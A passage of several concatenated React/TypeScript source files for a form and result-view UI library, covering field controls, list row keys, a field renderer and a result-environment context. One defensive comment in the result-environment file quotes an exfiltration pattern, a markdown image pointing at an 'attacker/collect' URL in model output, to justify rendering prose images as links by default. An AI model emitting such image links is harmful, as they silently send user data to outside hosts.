again - which is the field's \"clear\" path.\n <ToggleGroup\n type=\"single\"\n value={value ?? ''}\n onValueChange={(next) => onChange(next === '' ? undefined : next)}\n disabled={disabled}\n // The group is named with the label the field SHOWS, so a screen\n // reader announces \"Risk level\" where the page reads it, not the\n // `risk_level` identifier behind it in `app`.\n aria-label={fieldLabel(field.title, field.name, presentation)}\n className=\"flex flex-wrap justify-start gap-1.5\"\n >\n {field.options.map((option) => (\n <ToggleGroupItem\n key={option}\n value={option}\n variant=\"outline\"\n className=\"h-9 min-w-0 gap-1.5 border-border bg-input px-3 text-[13px] text-muted-foreground hover:bg-muted hover:text-foreground data-[state=on]:border-primary/40 data-[state=on]:bg-primary/10 data-[state=on]:font-medium data-[state=on]:text-foreground\"\n >\n {value === option && (\n <Check className=\"size-3.5 text-primary\" strokeWidth={2.5} aria-hidden=\"true\" />\n )}\n {labelOf(option)}\n </ToggleGroupItem>\n ))}\n </ToggleGroup>\n ) : (\n <Select\n value={value ?? ''}\n disabled={disabled}\n onValueChange={(next) => onChange(next === CLEAR_VALUE ? undefined : next)}\n >\n <SelectTrigger id={domId} aria-invalid={!!error} className=\"h-11\">\n <SelectValue placeholder={s.selectPlaceholder} />\n </SelectTrigger>\n <SelectContent>\n <SelectItem value={CLEAR_VALUE}>{s.selectPlaceholder}</SelectItem>\n {field.options.map((option) => (\n <SelectItem key={option} value={option}>\n {labelOf(option)}\n </SelectItem>\n ))}\n </SelectContent>\n </Select>\n )}\n </FieldShell>\n );\n}\n","'use client';\n\nimport { Minus, Plus } from 'lucide-react';\nimport { cn } from './utils';\nimport type { NumberRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface NumberFieldProps {\n field: NumberRunField;\n value: number | undefined;\n onChange: (value: number | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/** Numeric input with steppers and min/max clamping. */\nexport function NumberField({ field, value, onChange, id, error, disabled }: NumberFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n const step = field.integer ? 1 : 0.1;\n\n const clamp = (n: number) => {\n let next = n;\n if (typeof field.min === 'number') next = Math.max(field.min, next);\n if (typeof field.max === 'number') next = Math.min(field.max, next);\n return field.integer ? Math.round(next) : next;\n };\n\n const nudge = (delta: number) => onChange(clamp((value ?? 0) + delta));\n\n const rangeHint =\n field.min !== undefined || field.max !== undefined\n ? `${field.min ?? '−∞'} – ${field.max ?? '∞'}`\n : undefined;\n\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"number\"\n description={field.description ?? rangeHint}\n required={field.required}\n error={error}\n htmlFor={domId}\n >\n <div className=\"flex items-stretch gap-1.5\">\n <input\n id={domId}\n type=\"number\"\n inputMode={field.integer ? 'numeric' : 'decimal'}\n value={value ?? ''}\n step={step}\n min={field.min}\n max={field.max}\n disabled={disabled}\n aria-invalid={!!error}\n placeholder=\"0\"\n onChange={(e) => onChange(e.target.value === '' ? undefined : Number(e.target.value))}\n className={cn(\n fieldControlClass,\n 'h-11 px-3 font-mono tabular-nums [appearance:textfield] [&::-webkit-inner-spin-button]:appearance-none',\n )}\n />\n <StepButton onClick={() => nudge(-step)} disabled={disabled} label={s.decrease}>\n <Minus className=\"h-4 w-4\" />\n </StepButton>\n <StepButton onClick={() => nudge(step)} disabled={disabled} label={s.increase}>\n <Plus className=\"h-4 w-4\" />\n </StepButton>\n </div>\n </FieldShell>\n );\n}\n\nfunction StepButton({\n onClick,\n disabled,\n label,\n children,\n}: {\n onClick: () => void;\n disabled?: boolean;\n label: string;\n children: React.ReactNode;\n}) {\n return (\n <button\n type=\"button\"\n onClick={onClick}\n disabled={disabled}\n aria-label={label}\n className={cn(\n 'flex h-11 w-11 shrink-0 items-center justify-center rounded-md border border-border bg-input text-muted-foreground transition-colors',\n 'hover:border-border hover:bg-muted hover:text-foreground disabled:cursor-not-allowed disabled:opacity-50',\n )}\n >\n {children}\n </button>\n );\n}\n","'use client';\n\nimport { cn } from './utils';\nimport type { ProseRunField, TextRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface TextFieldProps {\n field: TextRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/** Single-line string input (short native.Text or a plain string property). */\nexport function TextField({ field, value, onChange, id, error, disabled }: TextFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"text\"\n description={field.description}\n required={field.required}\n error={error}\n htmlFor={domId}\n >\n <input\n id={domId}\n type=\"text\"\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n placeholder={field.placeholder ?? s.typeValuePlaceholder}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(fieldControlClass, 'h-11 px-3')}\n />\n </FieldShell>\n );\n}\n\ninterface ProseFieldProps {\n field: ProseRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Multi-line free text. Auto-grows with content (`field-sizing-content`) so long\n * prompts don't trap the user in a tiny scrollbox - the field that carries most\n * of a method's intent should feel roomy.\n */\nexport function ProseField({ field, value, onChange, id, error, disabled }: ProseFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"text\"\n description={field.description}\n required={field.required}\n error={error}\n htmlFor={domId}\n >\n <textarea\n id={domId}\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n rows={3}\n placeholder={field.placeholder ?? s.writeHerePlaceholder}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(\n fieldControlClass,\n 'min-h-[88px] resize-y px-3 py-2.5 leading-relaxed field-sizing-content',\n )}\n />\n </FieldShell>\n );\n}\n","'use client';\n\nimport { Minus, Plus } from 'lucide-react';\nimport { useFieldStrings } from './field-strings';\n\ninterface OptionalToggleProps {\n /** How many empty optional entries are currently hidden. */\n count: number;\n expanded: boolean;\n onToggle: () => void;\n /** \"field\" inside a concept, \"input\" at the top level. */\n noun?: 'field' | 'input';\n}\n\n/**\n * The disclosure for empty optional entries. Optional inputs stay hidden until\n * the user asks for them - required (and already-filled) entries always show, so\n * the form opens at its simplest and grows only on demand. Used at the top level\n * and inside every structured concept, at any nesting depth.\n */\nexport function OptionalToggle({ count, expanded, onToggle, noun = 'field' }: OptionalToggleProps) {\n const s = useFieldStrings();\n return (\n <button\n type=\"button\"\n onClick={onToggle}\n className=\"flex w-fit items-center gap-1.5 text-[11px] text-muted-foreground transition-colors hover:text-foreground\"\n >\n {expanded ? <Minus className=\"h-3 w-3\" /> : <Plus className=\"h-3 w-3\" />}\n {expanded\n ? noun === 'field'\n ? s.hideOptionalFields\n : s.hideOptionalInputs\n : noun === 'field'\n ? s.optionalFieldsCount(count)\n : s.optionalInputsCount(count)}\n </button>\n );\n}\n","'use client';\n\nimport { useState } from 'react';\nimport { cn } from './utils';\nimport type { ObjectRunField } from '../core';\nimport { ownProp } from '../core/own-property';\nimport { isFilled } from '../core/readiness';\nimport { ConceptPill } from './concept-pill';\nimport { FieldRenderer, type FieldEnv } from './field-renderer';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { useFieldStrings } from './field-strings';\nimport { OptionalToggle } from './optional-toggle';\n\ninterface ObjectFieldProps {\n field: ObjectRunField;\n value: Record<string, unknown> | undefined;\n onChange: (value: Record<string, unknown>) => void;\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * A structured concept: its sub-fields rendered inside one hairline-grouped\n * card so nesting stays legible. Empty optional sub-fields collapse behind a\n * \"+ N optional\" toggle - required and already-filled fields always show.\n */\nexport function ObjectField({ field, value, onChange, id, error, env }: ObjectFieldProps) {\n const s = useFieldStrings();\n const [showOptional, setShowOptional] = useState(false);\n // A grouped concept reads as a section heading in an app, not as a typed field.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const data = value ?? {};\n\n const setChild = (name: string, childValue: unknown) => onChange({ ...data, [name]: childValue });\n\n // `ownProp`, not `data[f.name]`: the name is the method author's, the record\n // is a plain object a host built, and a child named `constructor` or\n // `toString` reads as the inherited function from a bare index. The kernel\n // spells this read one way at every one of its sites; the control set is the\n // other half of \"every\".\n const optionalEmpty = field.fields.filter((f) => !f.required && !isFilled(ownProp(data, f.name)));\n const visible = showOptional\n ? field.fields\n : field.fields.filter((f) => f.required || isFilled(ownProp(data, f.name)));\n\n return (\n <div className=\"space-y-2\">\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <span\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {fieldLabel(field.title, field.name, presentation)}\n </span>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"structured\" />}\n {!field.required && (\n <span className=\"ml-auto font-mono text-[10px] uppercase tracking-wider text-muted-foreground\">\n {s.optionalBadge}\n </span>\n )}\n </div>\n {field.description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{field.description}</p>\n )}\n\n <div\n className={cn(\n 'space-y-4 rounded-lg border bg-card/40 p-4',\n error ? 'border-destructive/50' : 'border-border',\n )}\n >\n {visible.map((child) => (\n <FieldRenderer\n key={child.name}\n field={child}\n value={ownProp(data, child.name)}\n onChange={(v) => setChild(child.name, v)}\n id={`${id}.${child.name}`}\n env={env}\n />\n ))}\n\n {optionalEmpty.length > 0 && (\n <OptionalToggle\n count={optionalEmpty.length}\n expanded={showOptional}\n onToggle={() => setShowOptional((v) => !v)}\n noun=\"field\"\n />\n )}\n </div>\n {error && (\n <p className=\"text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n )}\n </div>\n );\n}\n","'use client';\n\nimport { useState } from 'react';\nimport { Plus, Trash2 } from 'lucide-react';\nimport { cn } from './utils';\nimport type { ListRunField, RunField } from '../core';\nimport { ConceptPill } from './concept-pill';\nimport { fieldLabel, useFieldPresentation } from './field-presentation';\nimport { FieldRenderer, type FieldEnv } from './field-renderer';\nimport { useFieldStrings } from './field-strings';\n\ninterface ListFieldProps {\n field: ListRunField;\n value: unknown[] | undefined;\n onChange: (value: unknown[]) => void;\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * A repeatable list of one element type. Each item is an indexed row with its\n * own remove control; \"Add\" appends a fresh entry. The element renders through\n * the same `FieldRenderer`, so a list of documents gets dropzones and a list of\n * structured concepts gets nested cards - no special-casing per element type.\n *\n * **A row is a thing, not a slot.** Its React key is generated when the row\n * appears and travels with it, so removing an earlier row moves the later ones\n * instead of renumbering them into each other - which is what used to drop a\n * half-typed value or a pending preview onto the neighbouring row. The row's\n * field ID stays POSITIONAL (`cvs.1`), because that ID is a PATH: a host writes\n * an upload back with `setValueAtPath(values, id.split('.'), value)`, and\n * `setValueAtPath` is a pure function of the value tree. Handing out an opaque\n * token instead would mean the kernel keeping a live token-to-index registry for\n * that function to consult, which is exactly the kind of hidden state the\n * headless core does not have.\n *\n * The positional ID is why removal is BLOCKED while a file is arriving anywhere\n * in this list - see `listIsBusy`. Together those two are the whole fix: a\n * generated key cannot rescue a write-back either, because the keys live in this\n * control's state and not in the value, so a host that replaces `values`\n * wholesale reconciles by length just as positions do. What a stable identity\n * buys over a position is exactly the reorderings the KERNEL performs, and it\n * performs one.\n */\nexport function ListField({ field, value, onChange, id, error, env }: ListFieldProps) {\n const s = useFieldStrings();\n // Same label chrome switch as `FieldShell` - this control owns its own label\n // because the items-count badge sits beside it. See `field-presentation.tsx`.\n const presentation = useFieldPresentation();\n const isApp = presentation === 'app';\n const items = value ?? [];\n const [rowKeys, setRowKeys] = useRowKeys(items.length);\n\n const setItem = (index: number, itemValue: unknown) => {\n const next = items.slice();\n next[index] = itemValue;\n onChange(next);\n };\n const removeItem = (index: number) => {\n // Drop the identity WITH the row rather than letting the length\n // reconciliation lop one off the end, or every row below this one would\n // take its neighbour's key and remount holding its neighbour's state.\n setRowKeys((prev) => prev.filter((_, i) => i !== index));\n onChange(items.filter((_, i) => i !== index));\n };\n const addItem = () => onChange([...items, emptyValue(field.item)]);\n\n // A file arriving anywhere in this list - a row that IS a dropzone, or one\n // that contains one - pins the row numbering until it lands. Removing a row\n // renumbers every row after it, and an upload the host is still holding\n // resolves against the ID it was handed at drop time: the file would be\n // written into whichever row had moved into that position. Silently, and with\n // the form still looking correctly filled.\n //\n // ADD stays available on purpose. Appending leaves every existing index where\n // it was, so an in-flight write-back is unaffected, and freezing it would make\n // filling a list of files needlessly serial.\n const busy = listIsBusy(id, env?.uploadingIds);\n // A `Concept[N]` slot is full at N. The bound is the method's, read off the\n // same `maxItems` ajv enforces, so offering one more row would offer one the\n // gate then refuses. It is deliberately NOT `itemCount`, which is the LOWER\n // bound: a schema stating \"at least two\" would otherwise be presented as a\n // list of exactly two, with Add dead over a list the method lets you grow.\n const isFull = field.maxItemCount !== undefined && items.length >= field.maxItemCount;\n\n return (\n <div className=\"space-y-2\">\n <div className=\"flex flex-wrap items-baseline gap-x-2 gap-y-1\">\n <span\n className={cn(\n 'text-[13px] font-medium leading-none text-foreground',\n isApp ? 'text-[13.5px]' : 'font-mono',\n )}\n >\n {fieldLabel(field.title, field.name, presentation)}\n </span>\n {!isApp && <ConceptPill conceptRef={field.conceptRef} category=\"list\" />}\n <span className=\"font-mono text-[10.5px] text-muted-foreground\">\n {/* \"of N\" is a claim about an EXACT count, so it needs both bounds and\n needs them equal. Read off `itemCount` alone - the LOWER bound - a\n model saying \"at least two\" was announced as a list of exactly two\n and then read `3 of 2 items` the moment a third row arrived. Every\n other list is a plain count, which is the honest thing to say\n about a slot with room to grow. */}\n {field.itemCount !== undefined && field.maxItemCount === field.itemCount\n ? s.itemsCountOf(items.length, field.itemCount)\n : s.itemsCount(items.length)}\n </span>\n {!field.required && (\n <span className=\"ml-auto font-mono text-[10px] uppercase tracking-wider text-muted-foreground\">\n {s.optionalBadge}\n </span>\n )}\n </div>\n {field.description && (\n <p className=\"text-[12px] leading-relaxed text-muted-foreground\">{field.description}</p>\n )}\n\n <div className=\"space-y-2\">\n {items.length === 0 && (\n <p className=\"rounded-md border border-dashed border-border bg-input/50 px-3 py-4 text-center text-[12px] text-muted-foreground\">\n {s.noItemsYet}\n </p>\n )}\n {items.map((item, index) => (\n <div\n key={rowKeys[index] ?? index}\n className=\"flex items-start gap-2 rounded-md border border-border bg-card/40 p-3\"\n >\n <span className=\"mt-1 w-5 shrink-0 text-center font-mono text-[11px] text-muted-foreground\">\n {index + 1}\n </span>\n <div className=\"min-w-0 flex-1\">\n <FieldRenderer\n field={{ ...field.item, title: '', name: `${field.name}[${index}]` }}\n value={item}\n onChange={(v) => setItem(index, v)}\n id={`${id}.${index}`}\n env={env}\n />\n </div>\n <button\n type=\"button\"\n onClick={() => removeItem(index)}\n disabled={env?.disabled || busy}\n aria-label={s.removeItemAria(index + 1)}\n className=\"mt-0.5 flex h-7 w-7 shrink-0 items-center justify-center rounded-md text-muted-foreground transition-colors hover:bg-muted hover:text-destructive disabled:opacity-50\"\n >\n <Trash2 className=\"h-3.5 w-3.5\" />\n </button>\n </div>\n ))}\n\n <button\n type=\"button\"\n onClick={addItem}\n disabled={env?.disabled || isFull}\n className={cn(\n 'inline-flex h-9 w-full items-center justify-center gap-1.5 rounded-md border border-dashed border-border text-[13px] text-muted-foreground transition-colors',\n 'hover:border-primary/40 hover:bg-muted hover:text-foreground disabled:cursor-not-allowed disabled:opacity-50',\n )}\n >\n <Plus className=\"h-4 w-4\" />\n {s.addItem}\n </button>\n </div>\n {error && (\n <p className=\"text-[11px] text-destructive\" role=\"alert\">\n {error}\n </p>\n )}\n </div>\n );\n}\n\n/**\n * True when a file is arriving anywhere inside this list.\n *\n * A prefix test rather than an exact one, because the busy row is not always the\n * list's own row: a list of DOCUMENTS uploads at `cvs.1`, a list of structures\n * holding a document uploads at `cvs.1.resume`. The dot is what keeps `cvs.` off\n * a sibling input called `cvs_extra`.\n */\nfunction listIsBusy(id: string, uploadingIds: ReadonlySet<string> | undefined): boolean {\n if (!uploadingIds?.size) return false;\n const prefix = `${id}.`;\n for (const uploading of uploadingIds) if (uploading.startsWith(prefix)) return true;\n return false;\n}\n\ninterface RowKeyState {\n keys: number[];\n next: number;\n}\n\n/**\n * One identity per row, minted when the row appears and kept until it goes.\n *\n * The keys are React keys and nothing else - they are never rendered, never put\n * in an ID, and never leave this control - so the counter lives in component\n * state rather than in a module, and a server render and its hydration can\n * disagree about the numbers without disagreeing about the markup.\n *\n * The length reconciliation runs during render, which is the supported way to\n * adjust state when props change: React re-renders immediately without\n * committing the first pass. It is the fallback for a value that changed from\n * OUTSIDE the control (a host seeding or replacing `values`), where there is\n * nothing to match rows by and length is the only honest answer. Removals go\n * through `removeItem`, which drops the right key instead.\n */\nfunction useRowKeys(length: number): [number[], (update: (prev: number[]) => number[]) => void] {\n const [state, setState] = useState<RowKeyState>(() => ({\n keys: Array.from({ length }, (_, i) => i),\n next: length,\n }));\n\n if (state.keys.length !== length) {\n setState((prev) => {\n if (length <= prev.keys.length) return { keys: prev.keys.slice(0, length), next: prev.next };\n const added = length - prev.keys.length;\n return {\n keys: [...prev.keys, ...Array.from({ length: added }, (_, i) => prev.next + i)],\n next: prev.next + added,\n };\n });\n }\n\n const update = (fn: (prev: number[]) => number[]) =>\n setState((prev) => ({ keys: fn(prev.keys), next: prev.next }));\n\n return [state.keys, update];\n}\n\n/** A sensible empty starting value for a freshly added list item. */\nfunction emptyValue(field: RunField): unknown {\n switch (field.kind) {\n case 'boolean':\n return false;\n case 'object':\n return {};\n case 'list':\n return [];\n case 'document':\n case 'image':\n return undefined;\n default:\n return undefined;\n }\n}\n","'use client';\n\nimport { cn } from './utils';\nimport type { UnknownRunField } from '../core';\nimport { FieldShell } from './field-shell';\nimport { useFieldStrings } from './field-strings';\nimport { fieldControlClass } from './field-styles';\nimport { useFieldDomId } from './field-dom-id';\n\ninterface UnknownFieldProps {\n field: UnknownRunField;\n value: string | undefined;\n onChange: (value: string | undefined) => void;\n id: string;\n error?: string;\n disabled?: boolean;\n}\n\n/**\n * Escape hatch for a concept whose shape we can't map to a known control. Rather\n * than block the run, we let the user hand-write the value as JSON - rare, but it\n * keeps every method runnable instead of dead-ending on an unusual input.\n */\nexport function UnknownField({ field, value, onChange, id, error, disabled }: UnknownFieldProps) {\n const s = useFieldStrings();\n const domId = useFieldDomId(id);\n return (\n <FieldShell\n name={field.name}\n title={field.title}\n conceptRef={field.conceptRef}\n category=\"structured\"\n description={field.description ?? s.jsonHint}\n required={field.required}\n error={error}\n htmlFor={domId}\n >\n <textarea\n id={domId}\n value={value ?? ''}\n disabled={disabled}\n aria-invalid={!!error}\n rows={3}\n spellCheck={false}\n placeholder={'{\\n \"key\": \"value\"\\n}'}\n onChange={(e) => onChange(e.target.value === '' ? undefined : e.target.value)}\n className={cn(fieldControlClass, 'min-h-[80px] resize-y px-3 py-2.5 font-mono text-[12px]')}\n />\n </FieldShell>\n );\n}\n","'use client';\n\nimport type { RunField } from '../core';\nimport { BooleanField } from './boolean-field';\nimport { DateField } from './date-field';\nimport { DocumentField, ImageField, type FileValue } from './file-field';\nimport { EnumField } from './enum-field';\nimport { NumberField } from './number-field';\nimport { ProseField, TextField } from './text-field';\nimport { ObjectField } from './object-field';\nimport { ListField } from './list-field';\nimport { UnknownField } from './unknown-field';\n\n/**\n * Ambient state that any field in the tree may need, threaded unchanged through\n * the recursion so containers don't have to re-plumb it for every child.\n */\nexport interface FieldEnv {\n disabled?: boolean;\n /** A file field asks its parent to upload; the parent sets the value later. */\n onDropFile?: (id: string, file: File) => void;\n /** Ids currently mid-upload. */\n uploadingIds?: ReadonlySet<string>;\n /** Resolve a `pipelex-storage://` URI to a browser-viewable URL (for previews\n * of already-stored files). */\n resolveUrl?: (uri: string) => Promise<string | null>;\n}\n\nexport interface FieldRendererProps {\n field: RunField;\n value: unknown;\n onChange: (value: unknown) => void;\n /** Unique, stable id used for label linkage and upload tracking. */\n id: string;\n error?: string;\n env?: FieldEnv;\n}\n\n/**\n * The single dispatch point: a normalized `RunField` → the matching control.\n * Object and list fields recurse back through here, so the whole form is one\n * data-driven tree with no per-type branching anywhere else.\n */\nexport function FieldRenderer({ field, value, onChange, id, error, env }: FieldRendererProps) {\n const disabled = env?.disabled;\n\n switch (field.kind) {\n case 'text':\n return (\n <TextField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'prose':\n return (\n <ProseField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'date':\n return (\n <DateField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'number':\n return (\n <NumberField\n field={field}\n value={value as number | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'boolean':\n return (\n <BooleanField\n field={field}\n value={value as boolean | undefined}\n onChange={onChange}\n id={id}\n disabled={disabled}\n />\n );\n case 'enum':\n return (\n <EnumField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'document':\n return (\n <DocumentField\n field={field}\n value={value as FileValue | undefined}\n onChange={onChange}\n onDropFile={(file) => env?.onDropFile?.(id, file)}\n uploading={env?.uploadingIds?.has(id)}\n resolveUrl={env?.resolveUrl}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'image':\n return (\n <ImageField\n field={field}\n value={value as FileValue | undefined}\n onChange={onChange}\n onDropFile={(file) => env?.onDropFile?.(id, file)}\n uploading={env?.uploadingIds?.has(id)}\n resolveUrl={env?.resolveUrl}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n case 'object':\n return (\n <ObjectField\n field={field}\n value={value as Record<string, unknown> | undefined}\n onChange={onChange}\n id={id}\n error={error}\n env={env}\n />\n );\n case 'list':\n return (\n <ListField\n field={field}\n value={value as unknown[] | undefined}\n onChange={onChange}\n id={id}\n error={error}\n env={env}\n />\n );\n default:\n return (\n <UnknownField\n field={field}\n value={value as string | undefined}\n onChange={onChange}\n id={id}\n error={error}\n disabled={disabled}\n />\n );\n }\n}\n","'use client';\n\nimport { createContext, use, useMemo, type ReactNode } from 'react';\n\n/**\n * The host's seam for turning a stored reference into something a browser can\n * fetch.\n *\n * ## Why a result view needs one at all\n *\n * A run's files do not come back as public URLs. They come back as\n * `pipelex-storage://…` references, which are an identity in the runtime's\n * store and resolve nowhere in a browser. Without a way to exchange them, every\n * file arm in the result view degrades to naming the file — a PDF that cannot\n * be previewed, an image gallery of blank tiles — and no amount of care in\n * those arms can fix it, because the missing thing is a fact only the host has.\n *\n * ## Why it is SYNCHRONOUS\n *\n * The obvious shape is `(uri) => Promise<string | null>`, and it is the wrong\n * one here. It would put a loading state, a race and an effect into every arm\n * that paints a file — inside table cells and gallery tiles, which are the\n * places least able to carry them — and a gallery of twenty images would make\n * twenty independent round trips as it scrolled.\n *\n * A host that resolves by REWRITING (the common case: map the reference onto\n * its own `/assets` route, which checks ownership and streams the object) has\n * no round trip to make and is served exactly by a pure function. A host that\n * genuinely must presign is better off resolving the run's references in one\n * batch — it holds the payload before it renders it — and closing over the\n * result, which is also the only shape that does not make a gallery quadratic.\n *\n * So the seam is a pure function, and the async case is a lookup in a map the\n * host filled. That is a real constraint on a host and it is stated rather than\n * hidden.\n *\n * ## The contract\n *\n * Return `undefined` for a reference this host cannot resolve, and the view\n * falls back to naming the file — which is what it does with no resolver at\n * all. Never return a URL that will 404: a broken image tile says less than a\n * filename.\n */\nexport type ResolveUrl = (url: string) => string | undefined;\n\n/**\n * How a stored reference becomes a URL that works OUTSIDE this page — pasted\n * into another tab, another app, a colleague's message.\n *\n * Separate from `resolveUrl`, because the two answer different questions and a\n * host's answers genuinely differ. A display URL may be a path on the host's\n * own origin behind its session (`/api/assets/…`), which is what lets a strict\n * `img-src 'self'` policy stand and what keeps a picture from expiring while\n * the tab is open. That URL is useless on the clipboard: whoever pastes it has\n * no session. A share URL therefore carries its own credential — a freshly\n * minted presigned URL — and is minted per click rather than held, because it\n * starts expiring the moment it exists.\n *\n * Async for the same reason: minting one is a round trip. Omit it and the copy\n * control falls back to the display URL, which is right for a host whose\n * storage is public anyway.\n */\nexport type ResolveShareUrl = (url: string) => Promise<string | undefined>;\n\n/**\n * What a `prose` value's markdown images do — and the default is not to load\n * them.\n *\n * A prose value is MODEL OUTPUT, and `![](https://attacker/collect?…)` in it is\n * a request the browser makes the moment the result is painted, before anyone\n * has read a word. Nothing was clicked and nothing was consented to, so the\n * exfiltration channel is open by default in a view whose whole content is\n * untrusted. `'link'` closes it: the image renders as a link carrying its alt\n * text, so nothing the model wrote is lost and the fetch waits for a click.\n *\n * `'load'` is the opt-in, for a host that knows where its prose images come\n * from — a method that composes a report out of its own stored figures, say.\n * Only `http:` and `https:` are ever painted or linked either way.\n */\nexport type ProseImages = 'link' | 'load';\n\ninterface ResultEnv {\n resolveUrl?: ResolveUrl;\n resolveShareUrl?: ResolveShareUrl;\n proseImages?: ProseImages;\n /**\n * How many data columns a table of records shows. Five when unset.\n *\n * A record with more fields than this keeps the columns a reader decides on —\n * its name first, then the values that fit a cell whole — and the rest move\n * into the row's detail, one click away. The columns shown keep the order the\n * method's author wrote them in. A record within the budget shows every field.\n *\n * It is a COUNT rather than a width the view measures, and that is the point:\n * a count renders the same table on a server, in a test and in a browser,\n * where a measured budget would change the table's shape after hydration, and\n * differently from one host to the next. A host that knows its panel is wide\n * raises it; `Infinity` shows every column. A value below one reads as one,\n * which is the record's name alone.\n */\n tableColumns?: number;\n}\n\nconst ResultEnvContext = createContext<ResultEnv>({});\n\nexport function ResultEnvProvider({\n resolveUrl,\n resolveShareUrl,\n proseImages,\n tableColumns,\n children,\n}: ResultEnv & { children: ReactNode }) {\n const env = useMemo(\n () => ({ resolveUrl, resolveShareUrl, proseImages, tableColumns }),\n [resolveUrl, resolveShareUrl, proseImages, tableColumns],\n );\n return <ResultEnvContext value={env}>{children}</ResultEnvContext>;\n}\n\n/**\n * The resolver, already applied.\n *\n * Every file arm calls this rather than reading the context and remembering to\n * apply it: `useResolvedUrl(url)` is the URL to actually use, and a component\n * that forgets to call it is the bug this shape prevents. An unresolvable\n * reference comes back as the reference, so the arms' own `viewableUrl` check\n * still decides whether it can be linked or only named — and, when it can, what\n * string they use.\n */\nexport function useResolvedUrl(url: string): string {\n return use(ResultEnvContext).resolveUrl?.(url) ?? url;\n}\n\n/** For the non-React readers that need the same answer (previewability). */\nexport function useResolveUrl(): ResolveUrl | undefined {\n return use(ResultEnvContext).resolveUrl;\n}\n\n/** The share-URL minter, when the host supplies one. */\nexport function useResolveShareUrl(): ResolveShareUrl | undefined {\n return use(ResultEnvContext).resolveShareUrl;\n}\n\n/** The prose-image policy, defaulted to the safe answer for a host that stated none. */\nexport function useProseImages(): ProseImages {\n return use(ResultEnvContext).proseImages ?? 'link';\n}\n\n/**\n * The column budget a table of records starts from when the host states none.\n *\n * Five columns of short values fit a method app's result panel once the name\n * has its floor: the name, and four values a reader compares down a column. See\n * `docs/result-view.md` for how the columns are chosen.\n */\nconst DEFAULT_TABLE_COLUMNS = 5;\n\n/**\n * The column budget, normalised: the default when the host stated none (or a\n * `NaN`), a whole number otherwise, and never below one. `Infinity` passes\n * through, and is how a host shows every column.\n */\nexport function useTableColumns(): number {\n const budget = use(ResultEnvContext).tableColumns;\n if (budget === undefined || Number.isNaN(budget)) return DEFAULT_TABLE_COLUMNS;\n return Math.max(1, Math.floor(budget));\n}\n","'use client';\n\nimport * as React from 'react';\nimport * as TooltipPrimitive from '@radix-ui/react-tooltip';\n\nimport { cn } from '../utils';\n\n/**\n * The shadcn/ui tooltip, vendored like the other primitives here.\n *\n * It replaces the browser's native `title`, which is not a design decision so\n * much as the absence of one: the native bubble takes about a second to appear,\n * cannot be styled, ignores the host's theme, is unreadable at small sizes on\n * some platforms, and never appears at all on touch. It is the right tool for a\n * hint nobody needs and the wrong one for a field's description.\n *\n * Radix underneath, which is the accessibility rather than the look: it wires\n * `aria-describedby` to the trigger, shows on focus as well as hover, dismisses\n * on Escape, and keeps the content hoverable — the three requirements of WCAG\n * 1.4.13, none of which a `title` meets and none of which is worth\n * reimplementing.\n */\n\nconst TooltipProvider = TooltipPrimitive.Provider;\nconst TooltipRoot = TooltipPrimitive.Root;\nconst TooltipTrigger = TooltipPrimitive.Trigger;\n\nconst TooltipContent = React.forwardRef<\n React.ElementRef<typeof TooltipPrimitive.Content>,\n React.ComponentPropsWithoutRef<typeof TooltipPrimitive.Content>\n>(({ className, sideOffset = 6, ...props }, ref) => (\n <TooltipPrimitive.Portal>\n <TooltipPrimitive.Content\n ref={ref}\n sideOffset={sideOffset}\n className={cn(\n 'z-50 max-w-xs rounded-md border border-border bg-popover px-2.5 py-1.5 text-[12px] leading-relaxed text-popover-foreground shadow-md',\n 'animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95',\n 'data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 